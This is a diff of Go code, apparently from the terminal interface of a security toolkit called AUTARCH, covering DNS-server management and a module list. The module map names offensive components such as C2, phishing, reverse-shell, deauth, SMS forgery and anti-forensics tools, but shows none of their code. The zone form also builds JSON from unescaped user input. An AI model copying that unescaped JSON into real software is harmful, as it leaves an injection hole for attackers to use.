return a, func() tea.Msg {
|
|
||||||
out, _ := exec.Command("journalctl", "-u", "autarch-dns", "-n", "30", "--no-pager").Output()
|
|
||||||
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
|
|
||||||
return ResultMsg{Title: "DNS Server Logs (last 30)", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) installDNSUnit() (App, tea.Cmd) {
|
|
||||||
// Delegate to the service installer for just the DNS unit
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
unit := fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH DNS Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir, dir)
|
|
||||||
|
|
||||||
path := "/etc/systemd/system/autarch-dns.service"
|
|
||||||
if err := writeFileAtomic(path, []byte(unit)); err != nil {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
exec.Command("systemctl", "daemon-reload").Run()
|
|
||||||
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "DNS Service Unit Installed",
|
|
||||||
Lines: []string{
|
|
||||||
"Installed: " + path,
|
|
||||||
"",
|
|
||||||
"Start with: systemctl start autarch-dns",
|
|
||||||
"Enable on boot: systemctl enable autarch-dns",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS API Management Commands ─────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) loadDNSZones() (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDNSZones)
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
zones := dnsAPIGet("/api/zones")
|
|
||||||
if zones == nil {
|
|
||||||
return dnsZonesMsg{items: nil}
|
|
||||||
}
|
|
||||||
|
|
||||||
zoneList, ok := zones.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return dnsZonesMsg{items: nil}
|
|
||||||
}
|
|
||||||
|
|
||||||
var items []ListItem
|
|
||||||
for _, z := range zoneList {
|
|
||||||
zMap, ok := z.(map[string]interface{})
|
|
||||||
if !ok {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
name := fmt.Sprintf("%v", zMap["domain"])
|
|
||||||
recordCount := 0
|
|
||||||
if records, ok := zMap["records"].([]interface{}); ok {
|
|
||||||
recordCount = len(records)
|
|
||||||
}
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: name,
|
|
||||||
Status: fmt.Sprintf("%d records", recordCount),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
return dnsZonesMsg{items: items}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
type dnsZonesMsg struct{ items []ListItem }
|
|
||||||
|
|
||||||
func (a App) openDNSZoneForm() (App, tea.Cmd) {
|
|
||||||
a.labels = []string{"Domain", "Primary NS", "Admin Email", "Default TTL"}
|
|
||||||
a.inputs = make([]textinput.Model, 4)
|
|
||||||
|
|
||||||
defaults := []string{"", "ns1.example.com", "admin.example.com", "3600"}
|
|
||||||
for i := range a.inputs {
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 256
|
|
||||||
ti.Width = 40
|
|
||||||
ti.SetValue(defaults[i])
|
|
||||||
if i == 0 {
|
|
||||||
ti.Focus()
|
|
||||||
ti.SetValue("")
|
|
||||||
}
|
|
||||||
a.inputs[i] = ti
|
|
||||||
}
|
|
||||||
a.focusIdx = 0
|
|
||||||
a.pushView(ViewDNSZoneEdit)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) submitDNSZone() (App, tea.Cmd) {
|
|
||||||
domain := a.inputs[0].Value()
|
|
||||||
ns := a.inputs[1].Value()
|
|
||||||
admin := a.inputs[2].Value()
|
|
||||||
ttl := a.inputs[3].Value()
|
|
||||||
|
|
||||||
if domain == "" {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Domain cannot be empty."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
a.popView()
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
body := fmt.Sprintf(`{"domain":"%s","soa":{"primary_ns":"%s","admin_email":"%s","ttl":%s}}`,
|
|
||||||
domain, ns, admin, ttl)
|
|
||||||
return dnsAPIPost("/api/zones", body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewDNSZoneRecords(zone string) (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/zones/" + zone + "/records")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "Zone: " + zone, Lines: []string{"No records or API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
records, ok := data.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "Zone: " + zone, Lines: []string{"Unexpected response format."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
lines = append(lines, fmt.Sprintf("Zone: %s — %d records", zone, len(records)))
|
|
||||||
lines = append(lines, "")
|
|
||||||
lines = append(lines, styleDim.Render(fmt.Sprintf(" %-8s %-30s %-6s %s", "TYPE", "NAME", "TTL", "VALUE")))
|
|
||||||
lines = append(lines, styleDim.Render(" "+strings.Repeat("─", 70)))
|
|
||||||
|
|
||||||
for _, r := range records {
|
|
||||||
rec, ok := r.(map[string]interface{})
|
|
||||||
if !ok {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
lines = append(lines, fmt.Sprintf(" %-8v %-30v %-6v %v",
|
|
||||||
rec["type"], rec["name"], rec["ttl"], rec["value"]))
|
|
||||||
}
|
|
||||||
|
|
||||||
return ResultMsg{Title: "Zone: " + zone, Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) manageDNSHosts() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/hosts")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "DNS Hosts", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
hosts, ok := data.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "DNS Hosts", Lines: []string{"No hosts entries."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
lines = append(lines, fmt.Sprintf("%d host entries", len(hosts)))
|
|
||||||
lines = append(lines, "")
|
|
||||||
for _, h := range hosts {
|
|
||||||
hMap, _ := h.(map[string]interface{})
|
|
||||||
lines = append(lines, fmt.Sprintf(" %-16v %v", hMap["ip"], hMap["hostname"]))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "DNS Hosts", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) manageDNSBlocklist() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/blocklist")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "DNS Blocklist", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
bl, ok := data.(map[string]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "DNS Blocklist", Lines: []string{"Unexpected format."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
if domains, ok := bl["domains"].([]interface{}); ok {
|
|
||||||
lines = append(lines, fmt.Sprintf("%d blocked domains", len(domains)))
|
|
||||||
lines = append(lines, "")
|
|
||||||
max := 30
|
|
||||||
if len(domains) < max {
|
|
||||||
max = len(domains)
|
|
||||||
}
|
|
||||||
for _, d := range domains[:max] {
|
|
||||||
lines = append(lines, " "+fmt.Sprintf("%v", d))
|
|
||||||
}
|
|
||||||
if len(domains) > 30 {
|
|
||||||
lines = append(lines, styleDim.Render(fmt.Sprintf(" ... and %d more", len(domains)-30)))
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
lines = append(lines, "Blocklist is empty.")
|
|
||||||
}
|
|
||||||
|
|
||||||
return ResultMsg{Title: "DNS Blocklist", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) manageDNSForwarding() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/forwarding")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "DNS Forwarding", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
rules, ok := data.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "DNS Forwarding", Lines: []string{"No forwarding rules configured."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
lines = append(lines, fmt.Sprintf("%d forwarding rules", len(rules)))
|
|
||||||
lines = append(lines, "")
|
|
||||||
for _, r := range rules {
|
|
||||||
rMap, _ := r.(map[string]interface{})
|
|
||||||
lines = append(lines, fmt.Sprintf(" %v → %v", rMap["zone"], rMap["upstream"]))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "DNS Forwarding Rules", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) flushDNSCache() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return dnsAPIDelete("/api/cache")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewDNSQueryLog() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/querylog?limit=30")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "DNS Query Log", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
entries, ok := data.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "DNS Query Log", Lines: []string{"No entries."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
for _, e := range entries {
|
|
||||||
eMap, _ := e.(map[string]interface{})
|
|
||||||
lines = append(lines, fmt.Sprintf(" %-20v %-6v %-30v %v",
|
|
||||||
eMap["time"], eMap["type"], eMap["name"], eMap["client"]))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "DNS Query Log (last 30)", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewDNSTopDomains() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/stats/top-domains?limit=20")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "Top Domains", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
domains, ok := data.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "Top Domains", Lines: []string{"No data."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
for i, d := range domains {
|
|
||||||
dMap, _ := d.(map[string]interface{})
|
|
||||||
lines = append(lines, fmt.Sprintf(" %2d. %-40v %v queries", i+1, dMap["domain"], dMap["count"]))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Top 20 Queried Domains", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewDNSEncryption() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
data := dnsAPIGet("/api/encryption")
|
|
||||||
if data == nil {
|
|
||||||
return ResultMsg{Title: "DNS Encryption", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
enc, _ := data.(map[string]interface{})
|
|
||||||
var lines []string
|
|
||||||
for k, v := range enc {
|
|
||||||
status := styleStatusBad.Render("disabled")
|
|
||||||
if v == true {
|
|
||||||
status = styleStatusOK.Render("enabled")
|
|
||||||
}
|
|
||||||
lines = append(lines, fmt.Sprintf(" %-20s %s", k, status))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "DNS Encryption Status", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) dnsRootCheck() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
body := dnsAPIPostRaw("/api/rootcheck", "")
|
|
||||||
if body == nil {
|
|
||||||
return ResultMsg{Title: "Root Check", Lines: []string{"API unreachable."}, IsError: true}
|
|
||||||
}
|
|
||||||
|
|
||||||
results, ok := body.([]interface{})
|
|
||||||
if !ok {
|
|
||||||
return ResultMsg{Title: "Root Check", Lines: []string{"Unexpected format."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
var lines []string
|
|
||||||
for _, r := range results {
|
|
||||||
rMap, _ := r.(map[string]interface{})
|
|
||||||
latency := fmt.Sprintf("%v", rMap["latency"])
|
|
||||||
status := styleSuccess.Render("✔")
|
|
||||||
if rMap["error"] != nil && rMap["error"] != "" {
|
|
||||||
status = styleError.Render("✘")
|
|
||||||
latency = fmt.Sprintf("%v", rMap["error"])
|
|
||||||
}
|
|
||||||
lines = append(lines, fmt.Sprintf(" %s %-20v %s", status, rMap["server"], latency))
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Root Server Latency Check", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS API Helpers ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func getDNSAPIBase() string {
|
|
||||||
return "http://127.0.0.1:5380"
|
|
||||||
}
|
|
||||||
|
|
||||||
func getDNSAPIToken() string {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
configPath := dir + "/data/dns/config.json"
|
|
||||||
data, err := readFileBytes(configPath)
|
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
var cfg map[string]interface{}
|
|
||||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
if token, ok := cfg["api_token"].(string); ok {
|
|
||||||
return token
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func getDNSAPIStatus() map[string]interface{} {
|
|
||||||
data := dnsAPIGet("/api/metrics")
|
|
||||||
if data == nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
m, ok := data.(map[string]interface{})
|
|
||||||
if !ok {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return m
|
|
||||||
}
|
|
||||||
|
|
||||||
func dnsAPIGet(path string) interface{} {
|
|
||||||
url := getDNSAPIBase() + path
|
|
||||||
token := getDNSAPIToken()
|
|
||||||
|
|
||||||
req, err := http.NewRequest("GET", url, nil)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
if token != "" {
|
|
||||||
req.Header.Set("Authorization", "Bearer "+token)
|
|
||||||
}
|
|
||||||
|
|
||||||
client := &http.Client{}
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
var result interface{}
|
|
||||||
json.NewDecoder(resp.Body).Decode(&result)
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
func dnsAPIPost(path, body string) tea.Msg {
|
|
||||||
result := dnsAPIPostRaw(path, body)
|
|
||||||
if result == nil {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"API request failed."}, IsError: true}
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Success", Lines: []string{"Operation completed."}}
|
|
||||||
}
|
|
||||||
|
|
||||||
func dnsAPIPostRaw(path, body string) interface{} {
|
|
||||||
url := getDNSAPIBase() + path
|
|
||||||
token := getDNSAPIToken()
|
|
||||||
|
|
||||||
req, err := http.NewRequest("POST", url, strings.NewReader(body))
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
req.Header.Set("Content-Type", "application/json")
|
|
||||||
if token != "" {
|
|
||||||
req.Header.Set("Authorization", "Bearer "+token)
|
|
||||||
}
|
|
||||||
|
|
||||||
client := &http.Client{}
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
var result interface{}
|
|
||||||
json.NewDecoder(resp.Body).Decode(&result)
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
func dnsAPIDelete(path string) tea.Msg {
|
|
||||||
url := getDNSAPIBase() + path
|
|
||||||
token := getDNSAPIToken()
|
|
||||||
|
|
||||||
req, err := http.NewRequest("DELETE", url, nil)
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
if token != "" {
|
|
||||||
req.Header.Set("Authorization", "Bearer "+token)
|
|
||||||
}
|
|
||||||
|
|
||||||
client := &http.Client{}
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
return ResultMsg{Title: "Success", Lines: []string{"Deleted."}}
|
|
||||||
}
|
|
||||||
@ -1,52 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import tea "github.com/charmbracelet/bubbletea"
|
|
||||||
|
|
||||||
func (a App) handleMainMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
// Number key shortcut
|
|
||||||
for _, item := range a.mainMenu {
|
|
||||||
if key == item.Key {
|
|
||||||
if item.Key == "q" {
|
|
||||||
return a, tea.Quit
|
|
||||||
}
|
|
||||||
return a.navigateToView(item.View)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Enter on selected item
|
|
||||||
if key == "enter" {
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.mainMenu) {
|
|
||||||
item := a.mainMenu[a.cursor]
|
|
||||||
if item.Key == "q" {
|
|
||||||
return a, tea.Quit
|
|
||||||
}
|
|
||||||
return a.navigateToView(item.View)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) navigateToView(v ViewID) (tea.Model, tea.Cmd) {
|
|
||||||
a.pushView(v)
|
|
||||||
|
|
||||||
switch v {
|
|
||||||
case ViewDeploy:
|
|
||||||
// Static menu, no async loading
|
|
||||||
case ViewDeps:
|
|
||||||
// Load dependency status
|
|
||||||
return a, a.loadDepsStatus()
|
|
||||||
case ViewModules:
|
|
||||||
return a, a.loadModules()
|
|
||||||
case ViewSettings:
|
|
||||||
return a, a.loadSettings()
|
|
||||||
case ViewUsers:
|
|
||||||
// Static menu, no loading
|
|
||||||
case ViewService:
|
|
||||||
return a, a.loadServiceStatus()
|
|
||||||
case ViewDNS:
|
|
||||||
// Static menu
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
@ -1,273 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"sort"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Module Categories ───────────────────────────────────────────────
|
|
||||||
|
|
||||||
var moduleCategories = map[string]string{
|
|
||||||
"defender.py": "Defense",
|
|
||||||
"defender_monitor.py": "Defense",
|
|
||||||
"defender_windows.py": "Defense",
|
|
||||||
"container_sec.py": "Defense",
|
|
||||||
"msf.py": "Offense",
|
|
||||||
"exploit_dev.py": "Offense",
|
|
||||||
"loadtest.py": "Offense",
|
|
||||||
"phishmail.py": "Offense",
|
|
||||||
"deauth.py": "Offense",
|
|
||||||
"mitm_proxy.py": "Offense",
|
|
||||||
"c2_framework.py": "Offense",
|
|
||||||
"api_fuzzer.py": "Offense",
|
|
||||||
"webapp_scanner.py": "Offense",
|
|
||||||
"cloud_scan.py": "Offense",
|
|
||||||
"starlink_hack.py": "Offense",
|
|
||||||
"rcs_tools.py": "Offense",
|
|
||||||
"sms_forge.py": "Offense",
|
|
||||||
"pineapple.py": "Offense",
|
|
||||||
"password_toolkit.py": "Offense",
|
|
||||||
"counter.py": "Counter",
|
|
||||||
"anti_forensics.py": "Counter",
|
|
||||||
"analyze.py": "Analysis",
|
|
||||||
"forensics.py": "Analysis",
|
|
||||||
"llm_trainer.py": "Analysis",
|
|
||||||
"report_engine.py": "Analysis",
|
|
||||||
"threat_intel.py": "Analysis",
|
|
||||||
"ble_scanner.py": "Analysis",
|
|
||||||
"rfid_tools.py": "Analysis",
|
|
||||||
"reverse_eng.py": "Analysis",
|
|
||||||
"steganography.py": "Analysis",
|
|
||||||
"incident_resp.py": "Analysis",
|
|
||||||
"net_mapper.py": "Analysis",
|
|
||||||
"log_correlator.py": "Analysis",
|
|
||||||
"malware_sandbox.py": "Analysis",
|
|
||||||
"email_sec.py": "Analysis",
|
|
||||||
"vulnerab_scanner.py": "Analysis",
|
|
||||||
"recon.py": "OSINT",
|
|
||||||
"dossier.py": "OSINT",
|
|
||||||
"geoip.py": "OSINT",
|
|
||||||
"adultscan.py": "OSINT",
|
|
||||||
"yandex_osint.py": "OSINT",
|
|
||||||
"social_eng.py": "OSINT",
|
|
||||||
"ipcapture.py": "OSINT",
|
|
||||||
"snoop_decoder.py": "OSINT",
|
|
||||||
"simulate.py": "Simulate",
|
|
||||||
"android_apps.py": "Android",
|
|
||||||
"android_advanced.py": "Android",
|
|
||||||
"android_boot.py": "Android",
|
|
||||||
"android_payload.py": "Android",
|
|
||||||
"android_protect.py": "Android",
|
|
||||||
"android_recon.py": "Android",
|
|
||||||
"android_root.py": "Android",
|
|
||||||
"android_screen.py": "Android",
|
|
||||||
"android_sms.py": "Android",
|
|
||||||
"hardware_local.py": "Hardware",
|
|
||||||
"hardware_remote.py": "Hardware",
|
|
||||||
"iphone_local.py": "Hardware",
|
|
||||||
"wireshark.py": "Hardware",
|
|
||||||
"sdr_tools.py": "Hardware",
|
|
||||||
"upnp_manager.py": "System",
|
|
||||||
"wireguard_manager.py": "System",
|
|
||||||
"revshell.py": "System",
|
|
||||||
"hack_hijack.py": "System",
|
|
||||||
"chat.py": "Core",
|
|
||||||
"agent.py": "Core",
|
|
||||||
"agent_hal.py": "Core",
|
|
||||||
"mysystem.py": "Core",
|
|
||||||
"setup.py": "Core",
|
|
||||||
"workflow.py": "Core",
|
|
||||||
"nettest.py": "Core",
|
|
||||||
"rsf.py": "Core",
|
|
||||||
"ad_audit.py": "Offense",
|
|
||||||
"router_sploit.py": "Offense",
|
|
||||||
"wifi_audit.py": "Offense",
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderModulesList() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("MODULES"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if len(a.listItems) == 0 {
|
|
||||||
b.WriteString(styleDim.Render(" Loading..."))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Group by category
|
|
||||||
groups := make(map[string][]int)
|
|
||||||
for i, item := range a.listItems {
|
|
||||||
groups[item.Extra] = append(groups[item.Extra], i)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Sort category names
|
|
||||||
var cats []string
|
|
||||||
for c := range groups {
|
|
||||||
cats = append(cats, c)
|
|
||||||
}
|
|
||||||
sort.Strings(cats)
|
|
||||||
|
|
||||||
for _, cat := range cats {
|
|
||||||
b.WriteString(styleKey.Render(fmt.Sprintf(" ── %s ", cat)))
|
|
||||||
b.WriteString(styleDim.Render(fmt.Sprintf("(%d)", len(groups[cat]))))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for _, idx := range groups[cat] {
|
|
||||||
item := a.listItems[idx]
|
|
||||||
|
|
||||||
cursor := " "
|
|
||||||
if idx == a.cursor {
|
|
||||||
cursor = styleSelected.Render(" ▸") + " "
|
|
||||||
}
|
|
||||||
|
|
||||||
status := styleStatusOK.Render("●")
|
|
||||||
if !item.Enabled {
|
|
||||||
status = styleStatusBad.Render("○")
|
|
||||||
}
|
|
||||||
|
|
||||||
name := item.Name
|
|
||||||
if idx == a.cursor {
|
|
||||||
name = lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(name)
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(fmt.Sprintf("%s%s %s\n", cursor, status, name))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString(styleKey.Render(" [enter]") + " Toggle enabled/disabled ")
|
|
||||||
b.WriteString(styleKey.Render("[r]") + " Refresh\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleModulesMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "enter":
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.listItems) {
|
|
||||||
return a.toggleModule(a.cursor)
|
|
||||||
}
|
|
||||||
case "r":
|
|
||||||
return a, a.loadModules()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) handleModuleToggle(key string) (tea.Model, tea.Cmd) {
|
|
||||||
return a.handleModulesMenu(key)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commands ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) loadModules() tea.Cmd {
|
|
||||||
return func() tea.Msg {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
modulesDir := filepath.Join(dir, "modules")
|
|
||||||
|
|
||||||
entries, err := os.ReadDir(modulesDir)
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{"Cannot read modules directory: " + err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var items []ListItem
|
|
||||||
for _, e := range entries {
|
|
||||||
name := e.Name()
|
|
||||||
if !strings.HasSuffix(name, ".py") || name == "__init__.py" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
cat := "Other"
|
|
||||||
if c, ok := moduleCategories[name]; ok {
|
|
||||||
cat = c
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if module has a run() function (basic check)
|
|
||||||
content, _ := os.ReadFile(filepath.Join(modulesDir, name))
|
|
||||||
hasRun := strings.Contains(string(content), "def run(")
|
|
||||||
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: strings.TrimSuffix(name, ".py"),
|
|
||||||
Enabled: hasRun,
|
|
||||||
Extra: cat,
|
|
||||||
Status: name,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Sort by category then name
|
|
||||||
sort.Slice(items, func(i, j int) bool {
|
|
||||||
if items[i].Extra != items[j].Extra {
|
|
||||||
return items[i].Extra < items[j].Extra
|
|
||||||
}
|
|
||||||
return items[i].Name < items[j].Name
|
|
||||||
})
|
|
||||||
|
|
||||||
return modulesLoadedMsg{items: items}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
type modulesLoadedMsg struct{ items []ListItem }
|
|
||||||
|
|
||||||
func (a App) toggleModule(idx int) (App, tea.Cmd) {
|
|
||||||
if idx < 0 || idx >= len(a.listItems) {
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
item := a.listItems[idx]
|
|
||||||
dir := findAutarchDir()
|
|
||||||
modulesDir := filepath.Join(dir, "modules")
|
|
||||||
disabledDir := filepath.Join(modulesDir, "disabled")
|
|
||||||
|
|
||||||
srcFile := filepath.Join(modulesDir, item.Status)
|
|
||||||
dstFile := filepath.Join(disabledDir, item.Status)
|
|
||||||
|
|
||||||
if item.Enabled {
|
|
||||||
// Disable: move to disabled/
|
|
||||||
os.MkdirAll(disabledDir, 0755)
|
|
||||||
if err := os.Rename(srcFile, dstFile); err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{"Cannot disable module: " + err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
a.listItems[idx].Enabled = false
|
|
||||||
} else {
|
|
||||||
// Enable: move from disabled/ back
|
|
||||||
